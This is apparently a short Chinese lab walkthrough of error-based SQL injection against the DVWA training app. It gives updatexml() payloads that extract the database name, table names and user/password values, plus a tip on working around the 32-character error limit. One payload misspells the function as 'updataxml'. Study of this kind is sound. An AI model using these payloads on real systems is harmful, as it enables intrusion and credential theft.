还是以sql-injection为例
爆个库:
输入查询语句:
1‘ and updataxml(1,concat(0x7e,database()),1)-- -
得到数据库库名为dvwa
爆个表名:
-1' and updatexml(1, concat( 0x7e, ( select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e),1)-- -
-1' and updatexml(1, concat( 0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),0x7e),1)-- -
接下来还是爆users表里面的user和password字段。在使用updatexml()这个函数的时候有需要注意的地方,具体参考:传送门
输入查询语句:
-1' and updatexml(1,concat(0x7e,substr((select concat(user,'|',password) from dvwa.users limit 0,1),1,31),0x7e),1)-- -
因为updatexml只支持32位的报错,因此最好一行一行地使用 concat limit 与substr 逐个爆破,调一下参数就行
联合一下前面的,就可以得到user和password